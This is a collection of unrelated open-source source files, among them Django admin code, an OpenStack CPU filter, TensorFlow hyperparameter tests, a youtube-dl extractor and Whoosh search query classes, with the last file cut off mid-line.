PersonAdmin(ImportExportModelAdmin, OrganizerModelAdmin): resource_class = importing.PersonResource search_fields = [ 'name', 'email', 'location__raw', 'location__location__name', 'phone','tags__name' ] fieldsets = ( (None, { 'fields': (('name', 'email'), ('phone', 'location'), ('tags',)) }), ('Membership', { 'fields': ('attendance_record', 'donation_record', 'onboarding_status') }), ('Advanced', { 'classes': ('collapse',), 'fields': ('lat', 'lng', 'created') }) ) def attendance_record(self, instance): return format_html( "<table><tr><th>Name</th><th>Date</th></tr>{}{}</table>", format_html_join('\n', "<tr><td><a href='{}'>{}</a></td><td>{}</td></tr>", ((reverse('organizer-admin:events_event_change', args=(evt.id, )), evt.name, evt.timestamp) for evt in instance.events.all()) ), format_html("<tr><th>Total</th><th>{}</th></tr>", instance.events.count()) ) def donation_record(self, instance): return format_html( "<table><tr><th>Amount</th><th>Date</th></tr>{}{}</table>", format_html_join('\n', "<tr><td><a href='{}'>{}</a></td><td>{}</td></tr>", ((reverse('organizer-admin:donations_donation_change', args=(donation.id, )), donation.value/100, donation.timestamp) for donation in instance.donations.all()) ), format_html("<tr><th>Total</th><th>{}</th></tr>", instance.donations.aggregate(sum=Sum('value')/100)['sum']) ) def onboarding_status(self, instance): statuses = [] for component in OnboardingComponent.objects.filter(): if component.filter.results.filter(pk=instance.pk).exists(): myStatus = instance.onboarding_statuses.filter(component=component) statusDate = "-" success = "Not yet attempted" statusLink = "" if myStatus.exists(): s = myStatus.first() statusDate = s.created success = str(s.success) + ": " + s.message statusLink = "" try: statusLink = reverse('organizer-admin:onboarding_onboardingstatus_change', args=(s.id,)), except NoReverseMatch: pass statuses.append(( reverse('organizer-admin:onboarding_onboardingcomponent_change', args=(component.id,)), component.name, statusLink, statusDate, success )) return format_html( "<table><tr><th>Name</th><th>Date</th><th>Success</th></tr>{}</table>", format_html_join( '\n', "<tr><td><a href='{}'>{}</a></td><td><a href='{}'>{}</a></td><td>{}</td></tr>", iter(statuses) ) ) list_filter = ( NamedFilterFilter, CityFilter, TaggitListFilter ) actions = ( merge_people, make_captain, unmake_captain, onboard_people ) def tag_list(self, obj): return ', '.join(obj.tags.names()) def get_queryset(self, request): return super(PersonAdmin, self).get_queryset(request).prefetch_related('tags') list_display = [ 'email', 'name', 'phone', 'city', 'valid_geo', 'onboarded', 'is_captain', 'tag_list' ] select_related = ['location__location'] def onboarded(self, obj): curCount = obj.onboarding_statuses.filter(success=True).aggregate(count=Count('component'))['count'] total = OnboardingComponent.objects.filter(enabled=True).count() return "{0}/{1}".format(curCount, total) def valid_geo(self, obj): return not (obj.lat is None or obj.lng is None) def city(self, obj): return str(obj.location) readonly_fields = ['lat', 'lng', 'created', 'attendance_record', 'donation_record', 'onboarding_status'] admin.site.register(models.Person, PersonAdmin) admin_site.register(models.Person, PersonAdmin)
cr/fxos-certsuite
refs/heads/master
certsuite/reportmanager.py
7
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. import report import zipfile import sys import os from datetime import datetime class ReportManager(object): def __init__(self): reload(sys) sys.setdefaultencoding('utf-8') self.zip_file = None self.subsuite_results = {} self.structured_path = None def setup_report(self, profile_path, zip_file = None, structured_path = None): self.time = datetime.now() self.zip_file = zip_file self.structured_path = structured_path self.profile_path = profile_path def __enter__(self): return self def __exit__(self, *args, **kwargs): if self.structured_path: self.add_summary_report(self.structured_path) def add_subsuite_report(self, path, result_files): results = report.parse_log(path) # prepare embeded file data files_map = {} for path in result_files: if os.path.exists(path): file_name = os.path.split(path)[1] with open(path, 'r') as f: files_map[file_name] = f.read() self.zip_file.writestr("%s/%s" % (results.name, os.path.basename(path)), files_map[file_name]) results.set('files', files_map) self.subsuite_results[results.name] = {} self.subsuite_results[results.name]['files'] = files_map self.subsuite_results[results.name]['results'] = results self.subsuite_results[results.name]['html_str'] = report.subsuite.make_report(results) path = "%s/report.html" % results.name self.zip_file.writestr(path, self.subsuite_results[results.name]['html_str']) if results.has_regressions: return results.regressions else: return None def add_summary_report(self, path): summary_results = report.parse_log(path) html_str = report.summary.make_report(self.time, summary_results, self.subsuite_results, [path, self.profile_path]) path = "report.html" self.zip_file.writestr(path, html_str)
nkrinner/nova
refs/heads/master
nova/scheduler/filters/core_filter.py
27
# Copyright (c) 2011 OpenStack Foundation # Copyright (c) 2012 Justin Santa Barbara # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo.config import cfg from nova import db from nova.openstack.common.gettextutils import _ from nova.openstack.common import log as logging from nova.scheduler import filters LOG = logging.getLogger(__name__) cpu_allocation_ratio_opt = cfg.FloatOpt('cpu_allocation_ratio', default=16.0, help='Virtual CPU to physical CPU allocation ratio which affects ' 'all CPU filters. This configuration specifies a global ratio ' 'for CoreFilter. For AggregateCoreFilter, it will fall back to ' 'this configuration value if no per-aggregate setting found.') CONF = cfg.CONF CONF.register_opt(cpu_allocation_ratio_opt) class BaseCoreFilter(filters.BaseHostFilter): def _get_cpu_allocation_ratio(self, host_state, filter_properties): raise NotImplementedError def host_passes(self, host_state, filter_properties): """Return True if host has sufficient CPU cores.""" instance_type = filter_properties.get('instance_type') if not instance_type: return True if not host_state.vcpus_total: # Fail safe LOG.warning(_("VCPUs not set; assuming CPU collection broken")) return True instance_vcpus = instance_type['vcpus'] cpu_allocation_ratio = self._get_cpu_allocation_ratio(host_state, filter_properties) vcpus_total = host_state.vcpus_total * cpu_allocation_ratio # Only provide a VCPU limit to compute if the virt driver is reporting # an accurate count of installed VCPUs. (XenServer driver does not) if vcpus_total > 0: host_state.limits['vcpu'] = vcpus_total return (vcpus_total - host_state.vcpus_used) >= instance_vcpus class CoreFilter(BaseCoreFilter): """CoreFilter filters based on CPU core utilization.""" def _get_cpu_allocation_ratio(self, host_state, filter_properties): return CONF.cpu_allocation_ratio class AggregateCoreFilter(BaseCoreFilter): """AggregateCoreFilter with per-aggregate CPU subscription flag. Fall back to global cpu_allocation_ratio if no per-aggregate setting found. """ def _get_cpu_allocation_ratio(self, host_state, filter_properties): context = filter_properties['context'].elevated() # TODO(uni): DB query in filter is a performance hit, especially for # system with lots of hosts. Will need a general solution here to fix # all filters with aggregate DB call things. metadata = db.aggregate_metadata_get_by_host( context, host_state.host, key='cpu_allocation_ratio') aggregate_vals = metadata.get('cpu_allocation_ratio', set()) num_values = len(aggregate_vals) if num_values == 0: return CONF.cpu_allocation_ratio if num_values > 1: LOG.warning(_("%(num_values)d ratio values found, " "of which the minimum value will be used."), {'num_values': num_values}) try: ratio = float(min(aggregate_vals)) except ValueError as e: LOG.warning(_("Could not decode cpu_allocation_ratio: '%s'"), e) ratio = CONF.cpu_allocation_ratio return ratio
chacoroot/planetary
refs/heads/master
addons/website_customer/__openerp__.py
313
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2013-Today OpenERP S.A. (<http://www.openerp.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Customer References', 'category': 'Website', 'website': 'https://www.odoo.com/page/website-builder', 'summary': 'Publish Your Customer References', 'version': '1.0', 'description': """ OpenERP Customer References =========================== """, 'author': 'OpenERP SA', 'depends': [ 'crm_partner_assign', 'website_partner', 'website_google_map', ], 'demo': [ 'website_customer_demo.xml', ], 'data': [ 'views/website_customer.xml', ], 'qweb': [], 'installable': True, }
neno1978/pelisalacarta
refs/heads/develop
python/main-classic/channels/tengourl.py
2
# -*- coding: utf-8 -*- # ------------------------------------------------------------ # pelisalacarta - XBMC Plugin # Canal para ver un vídeo conociendo su URL # http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/ # ------------------------------------------------------------ from core import logger from core import scrapertools from core import servertools from core.item import Item def mainlist(item): logger.info() itemlist = [] itemlist.append( Item(channel=item.channel, action="search", title="Entra aquí y teclea la URL [Enlace a servidor online/descarga]")) itemlist.append( Item(channel=item.channel, action="search", title="Entra aquí y teclea la URL [Enlace directo a un vídeo]")) itemlist.append( Item(channel=item.channel, action="search", title="Entra aquí y teclea la URL [Búsqueda de enlaces en una url]")) return itemlist # Al llamarse "search" la función, el launcher pide un texto a buscar y lo añade como parámetro def search(item,texto): logger.info("texto="+texto) if not texto.startswith("http://"): texto = "http://"+texto itemlist = [] if "servidor" in item.title: itemlist = servertools.find_video_items(data=texto) for item in itemlist: item.channel="tengourl" item.action="play" elif "directo" in item.title: itemlist.append( Item(channel=item.channel, action="play", url=texto, server="directo", title="Ver enlace directo")) else: data = scrapertools.downloadpage(texto) itemlist = servertools.find_video_items(data=data) for item in itemlist: item.channel="tengourl" item.action="play" if len(itemlist)==0: itemlist.append( Item(channel=item.channel, action="search", title="No hay ningún vídeo compatible en esa URL")) return itemlist
ibmsoe/tensorflow
refs/heads/master
tensorflow/contrib/training/python/training/hparam_test.py
43
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for hparam.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import six from tensorflow.contrib.training.python.training import hparam from tensorflow.python.platform import test class HParamsTest(test.TestCase): def _assertDictEquals(self, d1, d2): self.assertEqual(len(d1), len(d2)) for k, v in six.iteritems(d1): self.assertTrue(k in d2, k) self.assertEquals(v, d2[k], d2[k]) def testEmpty(self): hparams = hparam.HParams() self._assertDictEquals({}, hparams.values()) hparams.parse('') self._assertDictEquals({}, hparams.values()) with self.assertRaisesRegexp(ValueError, 'Unknown hyperparameter'): hparams.parse('xyz=123') def testSomeValues(self): hparams = hparam.HParams(aaa=1, b=2.0, c_c='relu6') self._assertDictEquals( {'aaa': 1, 'b': 2.0, 'c_c': 'relu6'}, hparams.values()) expected_str = '[(\'aaa\', 1), (\'b\', 2.0), (\'c_c\', \'relu6\')]' self.assertEquals(expected_str, str(hparams.__str__())) self.assertEquals(expected_str, str(hparams)) self.assertEquals(1, hparams.aaa) self.assertEquals(2.0, hparams.b) self.assertEquals('relu6', hparams.c_c) hparams.parse('aaa=12') self._assertDictEquals( {'aaa': 12, 'b': 2.0, 'c_c': 'relu6'}, hparams.values()) self.assertEquals(12, hparams.aaa) self.assertEquals(2.0, hparams.b) self.assertEquals('relu6', hparams.c_c) hparams.parse('c_c=relu4,b=-2.0e10') self._assertDictEquals({'aaa': 12, 'b': -2.0e10, 'c_c': 'relu4'}, hparams.values()) self.assertEquals(12, hparams.aaa) self.assertEquals(-2.0e10, hparams.b) self.assertEquals('relu4', hparams.c_c) hparams.parse('c_c=,b=0,') self._assertDictEquals({'aaa': 12, 'b': 0, 'c_c': ''}, hparams.values()) self.assertEquals(12, hparams.aaa) self.assertEquals(0.0, hparams.b) self.assertEquals('', hparams.c_c) hparams.parse('c_c=2.3",b=+2,') self.assertEquals(2.0, hparams.b) self.assertEquals('2.3"', hparams.c_c) with self.assertRaisesRegexp(ValueError, 'Unknown hyperparameter'): hparams.parse('x=123') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('aaa=poipoi') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('aaa=1.0') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('b=12x') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('b=relu') with self.assertRaisesRegexp(ValueError, 'Must not pass a list'): hparams.parse('aaa=[123]') self.assertEquals(12, hparams.aaa) self.assertEquals(2.0, hparams.b) self.assertEquals('2.3"', hparams.c_c) # Exports to proto. hparam_def = hparams.to_proto() # Imports from proto. hparams2 = hparam.HParams(hparam_def=hparam_def) # Verifies that all hparams are restored. self.assertEquals(12, hparams2.aaa) self.assertEquals(2.0, hparams2.b) self.assertEquals('2.3"', hparams2.c_c) def testBoolParsing(self): for value in 'true', 'false', '1', '0': for initial in False, True: hparams = hparam.HParams(use_gpu=initial) hparams.parse('use_gpu=' + value) self.assertEqual(hparams.use_gpu, value in ['true', '1']) # Exports to proto. hparam_def = hparams.to_proto() # Imports from proto. hparams2 = hparam.HParams(hparam_def=hparam_def) self.assertEquals(hparams.use_gpu, hparams2.use_gpu) # Check that hparams2.use_gpu is a bool rather than an int. # The assertEquals() call above won't catch this, since # (0 == False) and (1 == True) in Python. self.assertEquals(bool, type(hparams2.use_gpu)) def testBoolParsingFail(self): hparams = hparam.HParams(use_gpu=True) with self.assertRaisesRegexp(ValueError, r'Could not parse.*use_gpu'): hparams.parse('use_gpu=yep') def testLists(self): hparams = hparam.HParams(aaa=[1], b=[2.0, 3.0], c_c=['relu6']) self._assertDictEquals({'aaa': [1], 'b': [2.0, 3.0], 'c_c': ['relu6']}, hparams.values()) self.assertEquals([1], hparams.aaa) self.assertEquals([2.0, 3.0], hparams.b) self.assertEquals(['relu6'], hparams.c_c) hparams.parse('aaa=[12]') self.assertEquals([12], hparams.aaa) hparams.parse('aaa=[12,34,56]') self.assertEquals([12, 34, 56], hparams.aaa) hparams.parse('c_c=[relu4,relu12],b=[1.0]') self.assertEquals(['relu4', 'relu12'], hparams.c_c) self.assertEquals([1.0], hparams.b) hparams.parse('c_c=[],aaa=[-34]') self.assertEquals([-34], hparams.aaa) self.assertEquals([], hparams.c_c) hparams.parse('c_c=[_12,3\'4"],aaa=[+3]') self.assertEquals([3], hparams.aaa) self.assertEquals(['_12', '3\'4"'], hparams.c_c) with self.assertRaisesRegexp(ValueError, 'Unknown hyperparameter'): hparams.parse('x=[123]') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('aaa=[poipoi]') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('aaa=[1.0]') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('b=[12x]') with self.assertRaisesRegexp(ValueError, 'Could not parse'): hparams.parse('b=[relu]') with self.assertRaisesRegexp(ValueError, 'Must pass a list'): hparams.parse('aaa=123') # Exports to proto. hparam_def = hparams.to_proto() # Imports from proto. hparams2 = hparam.HParams(hparam_def=hparam_def) # Verifies that all hparams are restored. self.assertEquals([3], hparams2.aaa) self.assertEquals([1.0], hparams2.b) self.assertEquals(['_12', '3\'4"'], hparams2.c_c) def testJson(self): hparams = hparam.HParams(aaa=1, b=2.0, c_c='relu6', d=True) self._assertDictEquals( {'aaa': 1, 'b': 2.0, 'c_c': 'relu6', 'd': True}, hparams.values()) self.assertEquals(1, hparams.aaa) self.assertEquals(2.0, hparams.b) self.assertEquals('relu6', hparams.c_c) hparams.parse_json('{"aaa": 12, "b": 3.0, "c_c": "relu4", "d": false}') self._assertDictEquals( {'aaa': 12, 'b': 3.0, 'c_c': 'relu4', 'd': False}, hparams.values()) self.assertEquals(12, hparams.aaa) self.assertEquals(3.0, hparams.b) self.assertEquals('relu4', hparams.c_c) json_str = hparams.to_json() hparams2 = hparam.HParams(aaa=10, b=20.0, c_c='hello', d=False) hparams2.parse_json(json_str) self.assertEquals(12, hparams2.aaa) self.assertEquals(3.0, hparams2.b) self.assertEquals('relu4', hparams2.c_c) self.assertEquals(False, hparams2.d) def testNonProtoFails(self): with self.assertRaisesRegexp(AssertionError, ''): hparam.HParams(hparam_def=1) with self.assertRaisesRegexp(AssertionError, ''): hparam.HParams(hparam_def=1.0) with self.assertRaisesRegexp(AssertionError, ''): hparam.HParams(hparam_def='hello') with self.assertRaisesRegexp(AssertionError, ''): hparam.HParams(hparam_def=[1, 2, 3]) if __name__ == '__main__': test.main()
mhrivnak/pulp
refs/heads/master
nodes/child/pulp_node/handlers/__init__.py
187
# Copyright (c) 2013 Red Hat, Inc. # # This software is licensed to you under the GNU General Public # License as published by the Free Software Foundation; either version # 2 of the License (GPLv2) or (at your option) any later version. # There is NO WARRANTY for this software, express or implied, # including the implied warranties of MERCHANTABILITY, # NON-INFRINGEMENT, or FITNESS FOR A PARTICULAR PURPOSE. You should # have received a copy of GPLv2 along with this software; if not, see # http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
fyffyt/scikit-learn
refs/heads/master
sklearn/__check_build/__init__.py
345
""" Module to give helpful messages to the user that did not compile the scikit properly. """ import os INPLACE_MSG = """ It appears that you are importing a local scikit-learn source tree. For this, you need to have an inplace install. Maybe you are in the source directory and you need to try from another location.""" STANDARD_MSG = """ If you have used an installer, please check that it is suited for your Python version, your operating system and your platform.""" def raise_build_error(e): # Raise a comprehensible error and list the contents of the # directory to help debugging on the mailing list. local_dir = os.path.split(__file__)[0] msg = STANDARD_MSG if local_dir == "sklearn/__check_build": # Picking up the local install: this will work only if the # install is an 'inplace build' msg = INPLACE_MSG dir_content = list() for i, filename in enumerate(os.listdir(local_dir)): if ((i + 1) % 3): dir_content.append(filename.ljust(26)) else: dir_content.append(filename + '\n') raise ImportError("""%s ___________________________________________________________________________ Contents of %s: %s ___________________________________________________________________________ It seems that scikit-learn has not been built correctly. If you have installed scikit-learn from source, please do not forget to build the package before using it: run `python setup.py install` or `make` in the source directory. %s""" % (e, local_dir, ''.join(dir_content).strip(), msg)) try: from ._check_build import check_build except ImportError as e: raise_build_error(e)
misterhat/youtube-dl
refs/heads/master
youtube_dl/extractor/blinkx.py
199
from __future__ import unicode_literals import json from .common import InfoExtractor from ..utils import ( remove_start, int_or_none, ) class BlinkxIE(InfoExtractor): _VALID_URL = r'(?:https?://(?:www\.)blinkx\.com/#?ce/|blinkx:)(?P<id>[^?]+)' IE_NAME = 'blinkx' _TEST = { 'url': 'http://www.blinkx.com/ce/Da0Gw3xc5ucpNduzLuDDlv4WC9PuI4fDi1-t6Y3LyfdY2SZS5Urbvn-UPJvrvbo8LTKTc67Wu2rPKSQDJyZeeORCR8bYkhs8lI7eqddznH2ofh5WEEdjYXnoRtj7ByQwt7atMErmXIeYKPsSDuMAAqJDlQZ-3Ff4HJVeH_s3Gh8oQ', 'md5': '337cf7a344663ec79bf93a526a2e06c7', 'info_dict': { 'id': 'Da0Gw3xc', 'ext': 'mp4', 'title': 'No Daily Show for John Oliver; HBO Show Renewed - IGN News', 'uploader': 'IGN News', 'upload_date': '20150217', 'timestamp': 1424215740, 'description': 'HBO has renewed Last Week Tonight With John Oliver for two more seasons.', 'duration': 47.743333, }, } def _real_extract(self, url): video_id = self._match_id(url) display_id = video_id[:8] api_url = ('https://apib4.blinkx.com/api.php?action=play_video&' + 'video=%s' % video_id) data_json = self._download_webpage(api_url, display_id) data = json.loads(data_json)['api']['results'][0] duration = None thumbnails = [] formats = [] for m in data['media']: if m['type'] == 'jpg': thumbnails.append({ 'url': m['link'], 'width': int(m['w']), 'height': int(m['h']), }) elif m['type'] == 'original': duration = float(m['d']) elif m['type'] == 'youtube': yt_id = m['link'] self.to_screen('Youtube video detected: %s' % yt_id) return self.url_result(yt_id, 'Youtube', video_id=yt_id) elif m['type'] in ('flv', 'mp4'): vcodec = remove_start(m['vcodec'], 'ff') acodec = remove_start(m['acodec'], 'ff') vbr = int_or_none(m.get('vbr') or m.get('vbitrate'), 1000) abr = int_or_none(m.get('abr') or m.get('abitrate'), 1000) tbr = vbr + abr if vbr and abr else None format_id = '%s-%sk-%s' % (vcodec, tbr, m['w']) formats.append({ 'format_id': format_id, 'url': m['link'], 'vcodec': vcodec, 'acodec': acodec, 'abr': abr, 'vbr': vbr, 'tbr': tbr, 'width': int_or_none(m.get('w')), 'height': int_or_none(m.get('h')), }) self._sort_formats(formats) return { 'id': display_id, 'fullid': video_id, 'title': data['title'], 'formats': formats, 'uploader': data['channel_name'], 'timestamp': data['pubdate_epoch'], 'description': data.get('description'), 'thumbnails': thumbnails, 'duration': duration, }
mhfowler/brocascoconut
refs/heads/master
settings/live.py
2
from settings.common import * DEBUG=True DATABASES = { 'default': SECRETS_DICT['DATABASES']['LIVE'] } # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Allow all host headers ALLOWED_HOSTS = ['*'] # Static asset configuration STATIC_ROOT = 'staticfiles' STATIC_URL = '/static/'
EricZaporzan/evention
refs/heads/master
docs/__init__.py
887
# Included so that Django's startproject comment runs against the docs directory
chuanchang/tp-libvirt
refs/heads/master
samples/ls_disk.py
35
""" Shows all existing disk partitions. This test requires test-provider to be qemu. Try this test without config, than put ls_disk.cfg into $tests/cfg/ directory and see the difference. Additionally you might put ls_disk_v2.cfg into $tests/cfg/ directory and execute ls_disk_v2 test (which also uses this script!) and watch for even bigger differences. :difficulty: advanced :copyright: 2014 Red Hat Inc. """ import logging def run(test, params, env): """ Logs guest's disk partitions :param test: QEMU test object :param params: Dictionary with the test parameters :param env: Dictionary with test environment. """ vm = env.get_vm(params["main_vm"]) session = vm.wait_for_login() output = session.cmd_output("ls /dev/[hsv]d* -1") logging.info("Guest disks are:\n%s", output) # Let's get some monitor data monitor = vm.monitor # Following two provides different output for HMP and QMP monitors # output = monitor.cmd("info block", debug=False) # output = monitor.info("block", debug=False) # Following command unifies the response no matter which monitor is used output = monitor.info_block(debug=False) logging.info("info block:\n%s", output)
kirti3192/spoken-website
refs/heads/master
cron/spoken_search/whoosh/query/terms.py
30
# Copyright 2007 Matt Chaput. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY MATT CHAPUT ``AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO # EVENT SHALL MATT CHAPUT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, # OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # The views and conclusions contained in the software and documentation are # those of the authors and should not be interpreted as representing official # policies, either expressed or implied, of Matt Chaput. from __future__ import division import copy import fnmatch import re from collections import defaultdict from whoosh import matching from whoosh.analysis import Token from whoosh.compat import bytes_type, text_type, u from whoosh.lang.morph_en import variations from whoosh.query import qcore class Term(qcore.Query): """Matches documents containing the given term (fieldname+text pair). >>> Term("content", u"render") """ __inittypes__ = dict(fieldname=str, text=text_type, boost=float) def __init__(self, fieldname, text, boost=1.0, minquality=None): self.fieldname = fieldname self.text = text self.boost = boost self.minquality = minquality def __eq__(self, other): return (other and self.__class__ is other.__class__ and self.fieldname == other.fieldname and self.text == other.text and self.boost == other.boost) def __repr__(self): r = "%s(%r, %r" % (self.__class__.__name__, self.fieldname, self.text) if self.boost != 1.0: r += ", boost=%s" % self.boost r += ")" return r def __unicode__(self): text = self.text if isinstance(text, bytes_type): try: text = text.decode("ascii") except UnicodeDecodeError: text = repr(text) t = u("%s:%s") % (self.fieldname, text) if self.boost != 1: t += u("^") + text_type(self.boost) return t __str__ = __unicode__ def __hash__(self): return hash(self.fieldname) ^ hash(self.text) ^ hash(self.boost) def has_terms(self): return True def tokens(self, boost=1.0): yield Token(fieldname=self.fieldname, text=self.text, boost=boost * self.boost, startchar=self.startchar, endchar=self.endchar, chars=True) def terms(self, phrases=False): if self.field(): yield (self.field(), self.text) def replace(self, fieldname, oldtext, newtext): q = copy.copy(self) if q.fieldname == fieldname and q.text == oldtext: q.text = newtext return q def estimate_size(self, ixreader): fieldname = self.fieldname if fieldname not in ixreader.schema: return 0 field = ixreader.schema[fieldname] try: text = field.to_bytes(self.text) except ValueError: return 0 return ixreader.doc_frequency(fieldname, text) def matcher(self, searcher, context=None): fieldname = self.fieldname text = self.text if fieldname not in searcher.schema: return matching.NullMatcher() field = searcher.schema[fieldname] try: text = field.to_bytes(text) except ValueError: return matching.NullMatcher() if (self.fieldname, text) in searcher.reader(): if context is None: w = searcher.weighting else: w = context.weighting m = searcher.postings(self.fieldname, text, weighting=w) if self.minquality: m.set_min_quality(self.minquality) if self.boost != 1.0: m = matching.WrappingMatcher(m, boost=self.boost) return m else: return matching.NullMatcher() class MultiTerm(qcore.Query): """Abstract base class for queries that operate on multiple terms in the same field. """ constantscore = False def _btexts(self, ixreader): raise NotImplementedError(self.__class__.__name__) def expanded_terms(self, ixreader, phrases=False): fieldname = self.field() if fieldname: for btext in self._btexts(ixreader): yield (fieldname, btext) def tokens(self, boost=1.0, exreader=None): fieldname = self.field() if exreader is None: btexts = [self.text] else: btexts = self._btexts(exreader) for btext in btexts: yield Token(fieldname=fieldname, text=btext, boost=boost * self.boost, startchar=self.startchar, endchar=self.endchar, chars=True) def simplify(self, ixreader): fieldname = self.field() if fieldname not in ixreader.schema: return qcore.NullQuery() field = ixreader.schema[fieldname] existing = [] for btext in sorted(set(self._btexts(ixreader))): text = field.from_bytes(btext) existing.append(Term(fieldname, text, boost=self.boost)) if len(existing) == 1: return existing[0] elif existing: from whoosh.query import Or return Or(existing) else: return qcore.NullQuery def estimate_size(self, ixreader): fieldname = self.field() return sum(ixreader.doc_frequency(fieldname, btext) for btext in self._btexts(ixreader)) def estimate_min_size(self, ixreader): fieldname = self.field() return min(ixreader.doc_frequency(fieldname, text) for text in self._btexts(ixreader)) def matcher(self, searcher, context=None): from whoosh.query import Or fieldname = self.field() constantscore = self.constantscore reader = searcher.reader() qs = [Term(fieldname, word) for word in self._btexts(reader)] if not qs: return matching.NullMatcher() if len(qs) == 1: # If there's only one term, just use it m = qs[0].matcher(searcher, context) else: if constantscore: # To tell the sub-query that score doesn't matter, set weighting # to None if context: context = context.set(weighting=None) else: from whoosh.searching import SearchContext context = SearchContext(weighting=None) # Or the terms together m = Or(qs, boost=self.boost).matcher(searcher, context) return m class PatternQuery(MultiTerm): """An intermediate base class for common methods of Prefix and Wildcard. """ __inittypes__ = dict(fieldname=str, text=text_type, boost=float) def __init__(self, fieldname, text, boost=1.0, constantscore=True): self.fieldname = fieldname self.text = text self.boost = boost self.constantscore = constantscore def __eq__(self, other): return (other and self.__class__ is other.__class__ and self.fieldname == other.fieldname and self.text == other.text and self.boost == other.boost and self.constantscore == other.constantscore) def __repr__(self): r = "%s(%r, %r" % (self.__class__.__name__, self.fieldname, self.text) if self.boost != 1: r += ", boost=%s" % self.boost r += ")" return r def __hash__(self): return (hash(self.fieldname) ^ hash(self.text) ^ hash(self.boost) ^ hash(self.constantscore)) def _get_pattern(self): raise NotImplementedError def _find_prefix(self, text): # Subclasses/instances should set the SPECIAL_CHARS attribute to a set # of characters that mark the end of the literal prefix specialchars = self.SPECIAL_CHARS i = 0 for i, char in enumerate(text): if char in specialchars: break return text[:i] def _btexts(self, ixreader): field = ixreader.schema[self.fieldname] exp = re.compile(self._get_pattern()) prefix = self._find_prefix(self.text) if prefix: candidates = ixreader.expand_prefix(self.fieldname, prefix) else: candidates = ixreader.lexicon(self.fieldname) from_bytes = field.from_bytes for btext in candidates: text = from_bytes(btext) if exp.match(text): yield btext class Prefix(PatternQuery): """Matches documents that contain any terms that start with the given text. >>> # Match documents containing words starting with 'comp' >>> Prefix("content", u"comp") """ def __unicode__(self): return "%s:%s*" % (self.fieldname, self.text) __str__ = __unicode__ def _btexts(self, ixreader): return ixreader.expand_prefix(self.fieldname, self.text) def matcher(self, searcher, context=None): if self.text == "": from whoosh.query import Every eq = Every(self.fieldname, boost=self.boost) return eq.matcher(searcher, context) else: return PatternQuery.matcher(self, searcher, context) class Wildcard(PatternQuery): """Matches documents that contain any terms that match a "glob" pattern. See the Python ``fnmatch`` module for information about globs. >>> Wildcard("content", u"in*f?x") """ SPECIAL_CHARS = frozenset("*?[") def __unicode__(self): return "%s:%s" % (self.fieldname, self.text) __str__ = __unicode__ def _get_pattern(self): return fnmatch.translate(self.text) def normalize(self): # If there are no wildcard characters in this "wildcard", turn it into # a simple Term text = self.text if text == "*": from whoosh.query import Every return Every(self.fieldname, boost=self.boost) if "*" not in text and "?" not in text: # If no wildcard chars, convert to a normal term. return Term(self.fieldname, self.text, boost=self.boost) elif ("?" not in text and text.endswith("*") and text.find("*") == len(text) - 1): # If the only wildcard char is an asterisk at the end, convert to a # Prefix query. return Prefix(self.fieldname, self.text[:-1], boost=self.boost) else: return self def matcher(self, searcher, context=None): if self.text == "*": from whoosh.query import Every eq = 